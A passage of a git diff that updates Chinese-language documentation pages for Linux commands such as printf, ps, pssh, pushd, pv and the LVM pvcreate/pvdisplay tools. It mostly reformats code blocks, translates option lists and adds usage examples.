+-W<页面宽度>:设置页面宽度为固定值,默认为72; +-J(--join-lines):合并整行,忽略 -W 如果设置; +-num_cols:num_cols是一个整数,为一页有n行的文件打印指定num_cols列; +-m(--merge):打印所有文件,每列一个文件。 +-f(-F)(--form-feed):用换页符替代换行符; +-r(--no-file-warnings):无法打开输入文件时静默; +-t:限制页眉,页脚与页尾的填充; +-T(--omit-pagination):类似于-t,但也限制换页; +-v(--show-non-printing):将不可打印的字符转换为八进制反斜杠格式; +-d:双倍行距; +-a(--across):交错打印,即水平打印,而非纵向打印; +-c(--show-control-chars):将控制字符转换为帽子符号(例如 ^C),将其他不可打印的字符转换为八进制反斜杠格式; +--help:打印帮助信息并退出; +--version:打印版本信息并退出. + + ``` -### 参数 +### 参数 文件:需要转换格式的文件。 - \ No newline at end of file diff --git a/command/printf.md b/command/printf.md index be1a34b4766..29660b426be 100644 --- a/command/printf.md +++ b/command/printf.md @@ -1,73 +1,189 @@ printf === - -格式化并输出结果 -## 补充说明 +格式化并输出结果。 -**printf命令** 格式化并输出结果到标准输出。 +## 目录 -### 语法 +- [bash内建命令](#内建命令) +- [GNU coreutils中的命令](#外部命令) -``` -printf(选项)(参数) ---help:在线帮助; ---version:显示版本信息。 -``` +## 内建命令 -### 参数 - -* 输出格式:指定数据输出时的格式; -* 输出字符串:指定要输出的数据。 - - **格式替代符** - -* %b 相对应的参数被视为含有要被处理的转义序列之字符串。 -* %c ASCII字符。显示相对应参数的第一个字符 -* %d, %i 十进制整数 -* %e, %E, %f 浮点格式 -* %g %e或%f转换,看哪一个较短,则删除结尾的零 -* %G %E或%f转换,看哪一个较短,则删除结尾的零 -* %o 不带正负号的八进制值 -* %s 字符串 -* %u 不带正负号的十进制值 -* %x 不带正负号的十六进制值,使用a至f表示10至15 -* %X 不带正负号的十六进制值,使用A至F表示10至15 -* %% 字面意义的% - - **转义序列** - -* \a 警告字符,通常为ASCII的BEL字符 -* \b 后退 -* \c 抑制(不显示)输出结果中任何结尾的换行字符(只在%b格式指示符控制下的参数字符串中有效),而且,任何留在参数里的字符、任何接下来的参数以及任何留在格式字符串中的字符,都被忽略 -* \f 换页(formfeed) -* \n 换行 -* \r 回车(Carriage return) -* \t 水平制表符 -* \v 垂直制表符 -* \\ 一个字面上的反斜杠字符 -* \ddd 表示1到3位数八进制值的字符,仅在格式字符串中有效 -* \0ddd 表示1到3位的八进制值字符 - -### 实例 +#### 概要 +```shell +printf [-v var] format [arguments] ``` -printf "hello world" +#### 主要用途 + +- 格式化参数并输出。 + +#### 选项 + +```shell +-v var:将结果输出到变量var中而不是输出到标准输出。 ``` +#### 参数 + +format:输出格式。 + +arguments:一到多个参数。 + +```shell +转义序列:除了支持printf(1)和printf(3)的转义序列,内建printf还支持以下转义序列: + +%b 展开参数中的反斜杠转义字符。 +%q 将参数扩起以用作shell输入。 +%(fmt)T 根据strftime(3)中的转义字符来输出日期时间字符串。 ``` -#!/bin/bash + +#### 返回值 + +返回状态为成功除非给出了非法选项、写错误、赋值错误。 + +#### 例子 + +```shell +# %-5s 格式为左对齐且宽度为5的字符串代替('-'表示左对齐),不使用则默认右对齐。 +# %-4.2f 格式为左对齐宽度为4,保留两位小数。 printf "%-5s %-10s %-4s\n" NO Name Mark printf "%-5s %-10s %-4.2f\n" 01 Tom 90.3456 printf "%-5s %-10s %-4.2f\n" 02 Jack 89.2345 printf "%-5s %-10s %-4.2f\n" 03 Jeff 98.4323 +# 输出 +NO Name Mark +01 Tom 90.35 +02 Jack 89.23 +03 Jeff 98.43 + + +# %b %q %(fmt)T 的例子。 +# see it again with a newline. +printf "%s\n" 'hello world' +# 展开换行符,和上面的结果一样。 +printf "%b" 'hello world\n' + +printf '%q\n' 'a b c' +# 输出 +a\ b\ c + +# %z为时区,%n为换行符。 +printf "%(%F %T %z%n)T" +# 输出 +2019-09-10 01:48:07 +0000 ``` -* %-5s 格式为左对齐且宽度为5的字符串代替(-表示左对齐),不使用则是又对齐。 -* %-4.2f 格式为左对齐宽度为4,保留两位小数。 +#### 注意 + +1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 + + +## 外部命令 + +#### 概要 + +```shell +printf FORMAT [ARGUMENT]... +printf OPTION +``` + +#### 主要用途 + +- 格式化参数并输出。 + + +#### 选项 + +```shell +--help 显示帮助信息并退出。 +--version 显示版本信息并退出。 +``` + +#### 参数 + +format:输出格式。 + +arguments:一到多个参数。 + +```shell +在这里忽略了(%b %q),如果你安装的coreutils版本支持它们,那么请参考上面的例子。 +支持的转义序列: + +\" 双引号 +\\ 反斜杠 +\a 响铃 +\b 退格 +\c 截断输出 +\e 退出 +\f 翻页 +\n 换行 +\r 回车 +\t 水平制表符 +\v 竖直制表符 +\NNN 八进制数 (1到3位数字) +\xHH 十六进制数 (1到2位数字) +\uHHHH Unicode字符附加4位十六进制数字 +\UHHHHHHHH Unicode字符附加8位十六进制数字 +%% 百分号 + +以及'diouxXfeEgGcs'中的一个结尾的C格式规范,将被转换为正确的类型并处理可变宽度。 +``` + +#### 例子 + +```shell +# 使用 /usr/bin/printf 确保调用的不是内建命令。 +# 当然,在你关闭内建printf以及确认当前环境没有printf函数的情况下,可直接使用printf,详见末尾"注意"的链接。 + +# 按行打印数组和关联数组的下标及值。 + +# 声明数组可以不加'declare -a'或'local -a'(在函数内声明的局部变量)。 +arr=('line1' 'line2') +/usr/bin/printf "%s\n" ${!arr[@]} +# 输出下标 +0 +1 +/usr/bin/printf "%s\n" ${arr[@]} +# 输出值 +line1 +line2 + +#声明关联数组(也就是字典)必须加'declare -A'或'local -A'(在函数内声明的局部变量)。 +declare -A assoc_arr=(['key1']='value1' ['key2']='value2') +/usr/bin/printf "%s\n" ${!assoc_arr[@]} +# 输出键。 +key2 +key1 +/usr/bin/printf "%s\n" ${assoc_arr[@]} +# 输出值。 +value2 +value1 +``` + +#### 返回值 + +返回状态为成功除非给出了非法选项等。 + +#### 注意 + +1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 printf`或`info coreutils 'pwd invocation'`。 + +2. 启动或关闭内建命令请查看`enable`命令,关于同名优先级的问题请查看`builtin`命令的例子部分的相关讨论。 + +3. 我通过和`bug-bash@gnu.org`的交流,得到了关于这几个格式说明符`%b %q %(fmt)T`的解释: + > printf(1)中的%b格式说明符是printf(3)支持的格式之外增加的一个POSIX特性。 + > + > %q和%T说明符是非标准的,并且不受所有独立实现的printf的支持。 + + 更多细节请参考链接: + - [POSIX printf](https://pubs.opengroup.org/onlinepubs/9699919799/utilities/printf.html) + `APPLICATION USAGE`段落的第五节。 + - [POSIX printf格式说明符](https://pubs.opengroup.org/onlinepubs/9699919799/functions/printf.html) + 的`Description`段落。 - \ No newline at end of file diff --git a/command/protoize.md b/command/protoize.md index 48c28afa4be..9365736874b 100644 --- a/command/protoize.md +++ b/command/protoize.md @@ -1,28 +1,27 @@ protoize === - + GNU-C代码转换为ANSI-C代码 ## 补充说明 **protoize命令** 属于gcc套件,用于为C语言源代码文件添加函数原型,将GNU-C代码转换为ANSI-C代码。 -### 语法 +### 语法 -``` +```shell protoize(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -d:设置需要转换代码的目录; -x:转换代码时排除的文件。 ``` -### 参数 +### 参数 文件:需要转换代码的C语言源文件。 - \ No newline at end of file diff --git a/command/prtstat.md b/command/prtstat.md new file mode 100644 index 00000000000..daca42fc63b --- /dev/null +++ b/command/prtstat.md @@ -0,0 +1,51 @@ +prtstat +=== + +显示进程信息 + +## 补充说明 + +**prtstat命令**打印指定进程的统计信息。这个信息来自/proc/PID/stat文件。 + +## 语法 + +```shell +prtstat [-r|--raw] pid +prtstat -V|--version +``` + +## 例子 + +```shell +[root@localhost command]# ps -ef|grep nginx +root 4022 250867 0 16:39 pts/1 00:00:00 grep --color=auto nginx +root 224312 1 0 4月26 ? 00:00:00 nginx: master process /var/openresty/nginx/sbin/nginx +nobody 224313 224312 0 4月26 ? 00:00:00 nginx: worker process +[root@localhost command]# prtstat -r 224312 + pid: 224312 comm: nginx + state: S ppid: 1 + pgrp: 224312 session: 224312 + tty_nr: 0 tpgid: -1 + flags: 402040 minflt: 110 + cminflt: 0 majflt: 0 + cmajflt: 0 utime: 0 + stime: 0 cutime: 0 + cstime: 0 priority: 20 + nice: 0 num_threads: 1 + itrealvalue: 0 starttime: 6271470 + vsize: 56369152 rss: 413 + rsslim: 18446744073709551615 startcode: 4194304 + endcode: 5772276 startstack: 140722783765648 + kstkesp: 7FFC9389BFB8 kstkeip: 7F25CD42F6C6 + wchan: 18446744071885754297 nswap: 0 + cnswap: 18446744071885754297 exit_signal: 17 + processor: 2 rt_priority: 0 + policy: 0 delayaccr_blkio_ticks: 0 + guest_time: 0 cguest_time: 0 +``` + +### 注意 + +1. `prtstat`命令来自于psmisc包。此包来自于base源仓库。 +2. psmisc.x86_64 : 用于管理系统上进程的实用程序 + diff --git a/command/ps.md b/command/ps.md index e7b5d6306d5..2cb8c1d9cdd 100644 --- a/command/ps.md +++ b/command/ps.md @@ -9,13 +9,13 @@ ps ### 语法 -``` +```shell ps(选项) ``` ### 选项 -``` +```shell -a:显示所有终端机下执行的程序,除了阶段作业领导者之外。 a:显示现行终端机下的所有程序,包括其他用户的程序。 -A:显示所有程序。 @@ -84,7 +84,7 @@ X:采用旧式的Linux i386登陆格式显示程序状况。 ### 实例 -```bash +```shell ps axo pid,comm,pcpu # 查看进程的PID、名称以及CPU 占用率 ps aux | sort -rnk 4 # 按内存资源的使用量对进程进行排序 ps aux | sort -nk 3 # 按 CPU 资源的使用量对进程进行排序 @@ -106,7 +106,7 @@ ps -o command -p 91730 | sed -n 2p # 通过进程id获取服务名称 将目前属于您自己这次登入的 PID 与相关信息列示出来 -```bash +```shell ps -l # UID PID PPID F CPU PRI NI SZ RSS WCHAN S ADDR TTY TIME CMD # 501 566 559 4006 0 31 0 4317620 228 - Ss 0 ttys001 0:00.05 /App...cOS/iTerm2 --server /usr/bin/login -fpl kenny /Ap...s/MacOS/iTerm2 --launch_shel @@ -132,7 +132,7 @@ ps -l 列出目前所有的正在内存当中的程序 -```bash +```shell ps aux # USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND @@ -161,7 +161,7 @@ ps aux 列出类似程序树的程序显示 -``` +```shell ps -axjf # USER PID PPID PGID SESS JOBC STAT TT TIME COMMAND UID C STIME TTY @@ -172,7 +172,7 @@ ps -axjf 找出与 cron 与 syslog 这两个服务有关的 PID 号码 -``` +```shell ps aux | egrep '(cron|syslog)' # root 50 0.0 0.0 4305532 1284 ?? Ss 二03下午 0:10.08 /usr/sbin/syslogd @@ -181,10 +181,10 @@ ps aux | egrep '(cron|syslog)' 把所有进程显示出来,并输出到ps001.txt文件 -``` +```shell ps -aux > ps001.txt ``` 输出指定的字段 - + diff --git a/command/pssh.md b/command/pssh.md index fe15908f7a9..4a7ef643242 100644 --- a/command/pssh.md +++ b/command/pssh.md @@ -1,34 +1,34 @@ pssh === - + 批量管理执行 ## 补充说明 **pssh命令** 是一个python编写可以在多台服务器上执行命令的工具,同时支持拷贝文件,是同类工具中很出色的,类似pdsh,个人认为相对pdsh更为简便,使用必须在各个服务器上配置好密钥认证访问。 -### 安装pssh +### 安装pssh 在CentOS系统环境下,介绍yum的安装和源码安装的方式: **yum方法** -``` +```shell yum install pssh ``` **编译安装** -``` +```shell wget http://parallel-ssh.googlecode.com/files/pssh-2.3.1.tar.gz tar xf pssh-2.3.1.tar.gz cd pssh-2.3.1/ python setup.py install ``` -### 选项 +### 选项 -``` +```shell --version:查看版本 --help:查看帮助,即此信息 -h:主机文件列表,内容格式”[user@]host[:port]” @@ -47,11 +47,11 @@ python setup.py install -P:打印出服务器返回信息 ``` -### 实例 +### 实例 获取每台服务器的uptime: -``` +```shell # pssh -h ip.txt -i uptime [1] 11:15:03 [SUCCESS] Mar.mars.he 11:15:11 up 4 days, 16:25, 1 user, load average: 0.00, 0.00, 0.00 @@ -63,7 +63,7 @@ python setup.py install 查看每台服务器上mysql复制IO/SQL线程运行状态信息: -``` +```shell # pssh -h IP.txt -i "/usr/local/mysql/bin/mysql -e 'show slave status \G'"|grep Running: Slave_IO_Running: yes Slave_SQL_Running: Yes @@ -75,7 +75,7 @@ python setup.py install 保存每台服务器运行的结果: -``` +```shell # pssh -h IP.txt -i -o /tmp/pssh/ uptime [1] 11:19:47 [SUCCESS] Feb.mars.he 11:19:55 up 4 days, 16:31, 2 users, load average: 0.02, 0.03, 0.00 @@ -87,7 +87,7 @@ python setup.py install 我们来看一下/tmp/pssh/下的文件及其内容 -``` +```shell # ll /tmp/pssh/ 总用量 12 -rw-r--r--. 1 root root 70 12月 1 11:19 Feb.mars.he @@ -103,4 +103,3 @@ python setup.py install 上面介绍的是pssh命令很少的一部分,大家可以将其用到适合自己的场景,发挥它的最大功效。 - \ No newline at end of file diff --git a/command/pstack.md b/command/pstack.md index e2ea0f2a0c6..0d002c07788 100644 --- a/command/pstack.md +++ b/command/pstack.md @@ -1,6 +1,6 @@ pstack === - + 显示每个进程的栈跟踪 ## 补充说明 @@ -9,11 +9,11 @@ pstack 命令软件包下载地址:https://packages.debian.org/sid/pstack -### 实例 +### 实例 pstree以树结构显示进程 -``` +```shell pstree -p work | grep ad sshd(22669)---bash(22670)---ad_preprocess(4551)-+-{ad_preprocess}(4552) |-{ad_preprocess}(4553) @@ -25,7 +25,7 @@ sshd(22669)---bash(22670)---ad_preprocess(4551)-+-{ad_preprocess}(4552) work为工作用户,-p为显示进程识别码,ad_preprocess共启动了6个子线程,加上主线程共7个线程。 -``` +```shell ps -Lf 4551 UID PID PPID LWP C NLWP STIME TTY stat time CMD work 4551 22670 4551 2 7 16:30 pts/2 Sl+ 0:02 ./ad_preprocess @@ -41,7 +41,7 @@ work 4551 22670 4557 0 7 16:30 pts/2 Sl+ 0:00 ./ad_preprocess pstack显示每个进程的栈跟踪: -``` +```shell pstack 4551 Thread 7 (Thread 1084229984 (LWP 4552)): #0 0x000000302afc63dc in epoll_wait () from /lib64/tls/libc.so.6 @@ -98,4 +98,3 @@ Thread 1 (Thread 182894129792 (LWP 4551)): ``` - \ No newline at end of file diff --git a/command/pstree.md b/command/pstree.md index b55087135a8..b6970dd406b 100644 --- a/command/pstree.md +++ b/command/pstree.md @@ -7,15 +7,15 @@ pstree **pstree命令** 以树状图的方式展现进程之间的派生关系,显示效果比较直观。 -### 语法 +### 语法 -``` +```shell pstree(选项) ``` -### 选项 +### 选项 -``` +```shell -a:显示每个程序的完整指令,包含路径,参数或是常驻服务的标示; -c:不使用精简标示法; -G:使用VT100终端机的列绘图字符; @@ -29,23 +29,23 @@ pstree(选项) -V:显示版本信息。 ``` -### 实例 +### 实例 显示当前所有进程的进程号和进程id -``` +```shell pstree -p ``` 显示所有进程的所有详细信息,遇到相同的进程名可以压缩显示。 -```bash +```shell pstree -a ``` 获取 SSH 会话的 PID -``` +```shell pstree -p | grep ssh # |-sshd(1221)-+-sshd(2768)---bash(2770)-+-grep(2810) @@ -55,4 +55,4 @@ pstree -p | grep ssh 从上方的输出中,你可以看到 sshd 进程与分支的树形图。sshd 的主进程是 sshd(1221),另两个分支分别为 sshd(2768) 和 sshd(2807)。 - + diff --git a/command/pushd.md b/command/pushd.md index 43fc03f6dfb..5811a361a31 100644 --- a/command/pushd.md +++ b/command/pushd.md @@ -1,44 +1,77 @@ pushd === - -将目录加入命令堆叠中 -## 补充说明 +将目录添加到目录堆栈顶部。 -**pushd命令** 是将目录加入命令堆叠中。如果指令没有指定目录名称,则会将当前的工作目录置入目录堆叠的最顶端。置入目录如果没有指定堆叠的位置,也会置入目录堆叠的最顶端,同时工作目录会自动切换到目录堆叠最顶端的目录去。 +## 概要 -### 语法 - -``` -pushd(选项)(参数) +```shell +pushd [-n] [+N | -N | dir] ``` -### 选项 +## 主要用途 -``` --n:只加入目录到堆叠中,不进行cd操作; -+n:删除从左到右的第n个目录,数字从0开始; --n:删除从右到左的第n个目录,数字从0开始; +- 将目录添加到目录堆栈顶部,切换当前工作目录到该目录。 + +- 旋转目录堆栈,使堆栈的新顶部成为当前工作目录。 + +- 没有参数时,交换目录堆栈的前两个目录。 + +## 选项 + +```shell +-n 抑制添加目录引起的当前工作目录变化。 ``` -### 参数 +## 参数 -目录:需要压入堆栈的目录。 ++N(可选):不带参数执行`dirs`命令显示的列表中,左起的第N个目录将作为堆栈顶部,在它前面的会移动到底部。(从0开始计数) -### 实例 +-N(可选):不带参数执行`dirs`命令显示的列表中,右起的第N个目录将作为堆栈顶部,在它前面的会移动到底部。(从0开始计数) +dir(可选):要推送的目录。 + +## 返回值 + +返回成功除非提供了非法选项或执行出现错误。 + +## 例子 + +```shell +# 添加目录到堆栈,改变了当前工作目录。 +[user2@pc ~]$ dirs +~ +[user2@pc ~]$ pushd ~/Desktop +~/Desktop ~ +[user2@pc Desktop]$ ``` -root@Mylinux:/tmp/dir4# pushd /tmp/dir3 -/tmp/dir3 /tmp/dir4 /tmp/dir1 ~ -root@Mylinux:/tmp/dir3# pushd /tmp/dir2 -/tmp/dir2 /tmp/dir3 /tmp/dir4 /tmp/dir1 ~ +```shell +# 添加目录到堆栈,当前工作目录不变。 +[user2@pc ~]$ dirs +~ +[user2@pc ~]$ pushd -n ~/Desktop +~ ~/Desktop +[user2@pc ~]$ pushd -n ~/Pictures +~ ~/Pictures ~/Desktop -root@Mylinux:/tmp/dir2# pushd -1 -/tmp/dir1 ~ /tmp/dir2 /tmp/dir3 /tmp/dir4 +# 调整顺序。 +[user2@pc ~]$ pushd +1 +~/Pictures ~/Desktop ~ +[user2@pc ~]$ pushd -1 +~/Desktop ~ ~/Pictures +[user2@pc ~]$ pushd +~ ~/Desktop ~/Pictures ``` -注意:最左边表示栈顶,最右边表示栈底。 +### 注意 + +1. `bash`的目录堆栈命令包括`dirs popd pushd`。 +2. 当前目录始终是目录堆栈的顶部。 +3. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 + +### 参考链接 + +- [popd、pushd命令'-n'选项的行为](https://superuser.com/questions/784450/popd-and-pushd-behavior-with-n-option) - \ No newline at end of file diff --git a/command/pv.md b/command/pv.md index fab7f5b11a5..99e1ea29f08 100644 --- a/command/pv.md +++ b/command/pv.md @@ -1,7 +1,7 @@ pv === -显示当前在命令行执行的命令的进度信息,管道查看器。 +显示当前在命令行执行的命令的进度信息,管道查看器 ## 补充说明 @@ -9,7 +9,7 @@ pv ## 下载安装 -```bash +```shell # Debian 系的操作系统,如 Ubuntu sudo apt-get install pv @@ -17,63 +17,63 @@ sudo apt-get install pv yum install pv ``` -### 语法 +### 语法 -```bash +```shell pv(选项)(参数) pv [OPTION] [FILE]... ``` -### 选项 - -``` --p, --progress show progress bar --t, --timer show elapsed time --e, --eta show estimated time of arrival (completion) --I, --fineta show absolute estimated time of arrival - (completion) --r, --rate show data transfer rate counter --a, --average-rate show data transfer average rate counter --b, --bytes show number of bytes transferred --T, --buffer-percent show percentage of transfer buffer in use --A, --last-written NUM show NUM bytes last written --F, --format FORMAT set output format to FORMAT +### 选项 + +```shell +-p, --progress 显示进度条 +-t, --timer 显示已用时间 +-e, --eta 显示预计到达时间 (完成) +-I, --fineta 显示绝对估计到达时间 + (完成) +-r, --rate 显示数据传输速率计数器 +-a, --average-rate 显示数据传输平均速率计数器 +-b, --bytes 显示传输的字节数 +-T, --buffer-percent 显示正在使用的传输缓冲区百分比 +-A, --last-written NUM 显示上次写入的字节数 +-F, --format FORMAT 将输出格式设置为FORMAT -n, --numeric 输出百分比 --q, --quiet do not output any transfer information at all - --W, --wait display nothing until first byte transferred --D, --delay-start SEC display nothing until SEC seconds have passed --s, --size SIZE set estimated data size to SIZE bytes --l, --line-mode count lines instead of bytes --0, --null lines are null-terminated --i, --interval SEC update every SEC seconds --w, --width WIDTH assume terminal is WIDTH characters wide --H, --height HEIGHT assume terminal is HEIGHT rows high --N, --name NAME prefix visual information with NAME --f, --force output even if standard error is not a terminal --c, --cursor use cursor positioning escape sequences - --L, --rate-limit RATE limit transfer to RATE bytes per second --B, --buffer-size BYTES use a buffer size of BYTES --C, --no-splice never use splice(), always use read/write --E, --skip-errors skip read errors in input --S, --stop-at-size stop after --size bytes have been transferred --R, --remote PID update settings of process PID - --P, --pidfile FILE save process ID in FILE - --d, --watchfd PID[:FD] watch file FD opened by process PID +-q, --quiet 不输出任何信息 + +-W, --wait 在传输第一个字节之前不显示任何内容 +-D, --delay-start SEC 在SEC秒过去之前不显示任何内容 +-s, --size SIZE 将估算的数据大小设置为SIZE字节 +-l, --line-mode 计算行数而不是字节数 +-0, --null 行以零结尾 +-i, --interval SEC 每SEC秒更新一次 +-w, --width WIDTH 假设终端的宽度为WIDTH个字符 +-H, --height HEIGHT 假设终端高度为HEIGHT行 +-N, --name NAME 在可视信息前面加上名称 +-f, --force 将标准错误输出到终端 +-c, --cursor 使用光标定位转义序列 + +-L, --rate-limit RATE 将传输限制为每秒RATE字节 +-B, --buffer-size BYTES 使用BYTES的缓冲区大小 +-C, --no-splice 从不使用splice(),始终使用读/写 +-E, --skip-errors 跳过输入中的读取错误 +-S, --stop-at-size 传输--size字节后停止 +-R, --remote PID 更新过程PID的设置 + +-P, --pidfile FILE 将进程ID保存在FILE中 + +-d, --watchfd PID[:FD] 监视进程PID,打开的文件FD -h, --help 显示帮助 -V, --version 显示版本信息 ``` -### 实例 +### 实例 我们(在 linux 上使用命令行的用户)的大多数使用场景都会用到的命令是从一个 USB 驱动器拷贝电影文件到你的电脑。如果你使用 cp 来完成上面的任务,你会什么情况都不清楚,直到整个复制过程结束或者出错。 -```bash +```shell # 复制文件会有进度 linux [master●] % pv ~/Downloads/CentOS-7-x86_64-Minimal-1511.iso > ~/Desktop/CentOS-7-x86_64-Minimal-1511.iso # 下面输入信息 @@ -84,19 +84,59 @@ linux [master●] % pv ~/Downloads/CentOS-7-x86_64-Minimal-1511.iso > ~/Desktop/ pv -L 2m /media/himanshu/1AC2-A8E3/fNf.mkv > ./Desktop/fnf.mkv ``` +复制文件时显示进度条(如果没有指定选项,默认使用 -p, -t, -e, -r 和 -b 选项) + +```bash +$ pv getiot.db > getiot.db.bak +``` +将 `/var/log/syslog` 文件打包成 zip 压缩包,并显示进度 + +```bash +$ pv /var/log/syslog | zip > syslog.zip +``` + +使用 tar 命令解压缩时显示进度条 + +```bash +$ pv rootfs.tar.bz2 | tar -jxf - -C rootfs/ +12.3MiB 0:00:02 [6.15MiB/s] [=========> ] 21% ETA 0:00:07 +```` + +解压完成 ```bash -# 字符一个个匀速在命令行中显示出来 +$ pv rootfs.tar.bz2 | tar -jxf - -C rootfs/ +57.8MiB 0:00:10 [5.53MiB/s] [==============================================>] 100% +``` + +字符一个个匀速在命令行中显示出来 + +```shell echo "Tecmint[dot]com is a community of Linux Nerds and Geeks" | pv -qL 10 +``` + +压缩文件展示进度信息 -# 压缩文件展示进度信息 +```shell pv /media/himanshu/1AC2-A8E3/fnf.mkv | gzip > ./Desktop/fnf.log.gz +``` +用 dd 命令将 iso 写入磁盘,pv来实现进度条的显示 -# 用 dd 命令将 iso 写入磁盘,pv来实现进度条的显示 +```shell sudo pv -cN source < /Users/kacperwang/Downloads/CentOS-7-x86_64-Everything-1511.iso | sudo dd of=/dev/disk2 bs=4m ## 显示下面进度 source: 5.2GiB 5:11:41 [ 503KiB/s] [=====================> ] 71% ETA 2:01:56 ``` - \ No newline at end of file +在linux上, 如果执行的一些命令或者一些脚本需要花费很长时间, 但又不能拿出更多的精力反复盯着有没有执行结束, 这时候可以用pv监听PID, 任务完成后通过网络通知到微信或者钉钉, 这样就可以腾出来精力做其他的事, 是不是很棒 + +```shell +$ pv -d $(ps -ef | grep -v grep | grep "<脚本或命令的关键字>" | awk '{print $2}') && <这里执行发通知脚本或者命令,脚本或命令需要提前调试好> +``` + +### 注意 + +1. 选项"-d, --watchfd PID[:FD]", 是在1.6.6版本中才有的参数,如果使用需要`pv`升级到大于等于1.6.6的版本 +2. CentOS7的Yum仓库里`pv`最新的是1.4.6版本,1.6.6版本是发布在CentOS8里面的,如果需要,可以将CentOS8里的pv下载到本地电脑上或者本地的Yum私服里, 这个是[下载地址](http://www.rpmfind.net/linux/rpm2html/search.php?query=pv&submit=Search+...&system=EPEL&arch=), 可以根据自己不同的架构下载, 1.6.6的安装: `rpm -ivh pv-1.6.6-7.el8.x86_64.rpm -U` + diff --git a/command/pvchange.md b/command/pvchange.md index 6488842a3c9..028127f5534 100644 --- a/command/pvchange.md +++ b/command/pvchange.md @@ -1,43 +1,42 @@ pvchange === - + 修改物理卷属性 ## 补充说明 **pvchange命令** 允许管理员改变物理卷的分配许可。如果物理卷出现故障,可以使用pvchange命令禁止分配物理卷上的PE。 -### 语法 +### 语法 -``` +```shell pvchange(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -u:生成新的UUID; -x:是否允许分配PE。 ``` -### 参数 +### 参数 物理卷:指定要修改属性的物理卷所对应的设备文件。 -### 实例 +### 实例 使用pvchange命令禁止分配指定物理卷上的PE。在命令行中输入下面的命令: -``` +```shell pvchange -x n /dev/sdb1 #禁止分配"/dev/sdb1"上的PE ``` 输出信息如下: -``` +```shell Physical volume "/dev/sdb1" changed 1 physical volume changed / 0 physical volumes not changed ``` - \ No newline at end of file diff --git a/command/pvck.md b/command/pvck.md index e8220447119..586078bc86f 100644 --- a/command/pvck.md +++ b/command/pvck.md @@ -1,35 +1,35 @@ pvck === - + 检测物理卷的LVM元数据的一致性 ## 补充说明 **pvck命令** 用来检测物理卷的LVM元数据的一致性。默认情况下,物理卷中的前4个扇区保存着LVM卷标,可以使用`--labelsector`选项指定其他的位置(例如:数据恢复时)。 -### 语法 +### 语法 -``` +```shell pvck(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -d:调试模式; -v:详细信息模式; --labelsector:指定LVE卷标所在扇区。 ``` -### 参数 +### 参数 物理卷:指定要检查的物理卷对应的设备文件。 -### 实例 +### 实例 使用pvck命令检查物理卷`/dev/sdb1`。在命令行中输入下面的命令: -``` +```shell pvck -v /dev/sdb1 #检查物理卷元数据 Scanning /dev/sdb1 Found label on /dev/sdb1, sector 1, type=LVM2 001 @@ -39,4 +39,3 @@ size=70656, offset2=0 size2=0 ``` - \ No newline at end of file diff --git a/command/pvcreate.md b/command/pvcreate.md index 5389813d790..7867179dd08 100644 --- a/command/pvcreate.md +++ b/command/pvcreate.md @@ -1,36 +1,36 @@ pvcreate === - + 将物理硬盘分区初始化为物理卷 ## 补充说明 **pvcreate命令** 用于将物理硬盘分区初始化为物理卷,以便LVM使用。 -### 语法 +### 语法 -``` +```shell pvcreate(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -f:强制创建物理卷,不需要用户确认; -u:指定设备的UUID; -y:所有的问题都回答“yes”; -Z:是否利用前4个扇区。 ``` -### 参数 +### 参数 物理卷:指定要创建的物理卷对应的设备文件名。 -### 实例 +### 实例 查看磁盘信息: -``` +```shell [root@localhost ~]# fdisk -l Disk /dev/hda: 41.1 GB, 41174138880 bytes 255 heads, 63 sectors/track, 5005 cylinders @@ -46,19 +46,18 @@ Units = cylinders of 16065 * 512 = 8225280 bytes /dev/hda7 2236 2418 1469916 8e Linux LVM /dev/hda8 2419 2601 1469916 8e Linux LVM /dev/hda9 2602 2784 1469916 8e Linux LVM - ``` 检查有无 PV 在系统上,然后将`/dev/hda6`到`/dev/hda9`建立成为PV格式 -``` +```shell [root@localhost ~]# pvscan No matching physical volumes found #找不到任何的 PV 存在! ``` 将6-9分区转成pv,注意大括号的用途: -``` +```shell [root@localhost ~]# pvcreate /dev/hda{6,7,8,9} Physical volume "/dev/hda6" successfully created Physical volume "/dev/hda7" successfully created @@ -68,7 +67,7 @@ No matching physical volumes found #找不到任何的 PV 存在! 这就分別表示每个 PV 的信息与系统所有 PV 的信息: -``` +```shell [root@localhost ~]# pvscan PV /dev/hda6 lvm2 [1.40 GB] PV /dev/hda7 lvm2 [1.40 GB] @@ -79,7 +78,7 @@ No matching physical volumes found #找不到任何的 PV 存在! 更详细的列示出系统上面每个 PV 信息: -``` +```shell [root@localhost ~]# pvdisplay "/dev/hda6" is a new physical volume of "1.40 GB" --- NEW Physical volume --- @@ -97,19 +96,17 @@ No matching physical volumes found #找不到任何的 PV 存在! 删除物理卷: -``` +```shell [root@localhost ~]# pvremove /dev/sdb2 Labels on physical volume "/dev/sdb2" successfully wiped - ``` 修改物理卷属性: -``` +```shell [root@localhost ~]# pvchange -x n /dev/sdb1 #禁止分配指定物理卷上的PE Physical volume "/dev/sdb1" changed 1 physical volume changed / 0 physical volumes not changed ``` - \ No newline at end of file diff --git a/command/pvdisplay.md b/command/pvdisplay.md index 93a39616a32..4461bc88104 100644 --- a/command/pvdisplay.md +++ b/command/pvdisplay.md @@ -1,40 +1,40 @@ pvdisplay === - + 显示物理卷的属性 ## 补充说明 **pvdisplay命令** 用于显示物理卷的属性。pvdisplay命令显示的物理卷信息包括:物理卷名称、所属的卷组、物理卷大小、PE大小、总PE数、可用PE数、已分配的PE数和UUID。 -### 语法 +### 语法 -``` +```shell pvdisplay(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -s:以短格式输出; -m:显示PE到LE的映射。 ``` -### 参数 +### 参数 物理卷:要显示的物理卷对应的设备文件名。 -### 实例 +### 实例 使用pvdisplay命令显示指定的物理卷的基本信息。在命令行中输入下面的命令: -``` +```shell [root@localhost ~]# pvdisplay /dev/sdb1 #显示物理卷基本信息 ``` 输出信息如下: -``` +```shell "/dev/sdb1" is a new physical volume of "101.94 MB" --- NEW Physical volume --- PV Name /dev/sdb1 @@ -43,4 +43,3 @@ PV UUID FOXiS2-Ghaj-Z0Mf- cdVZ-pfpk- dP9p-ifIZXN ``` - \ No 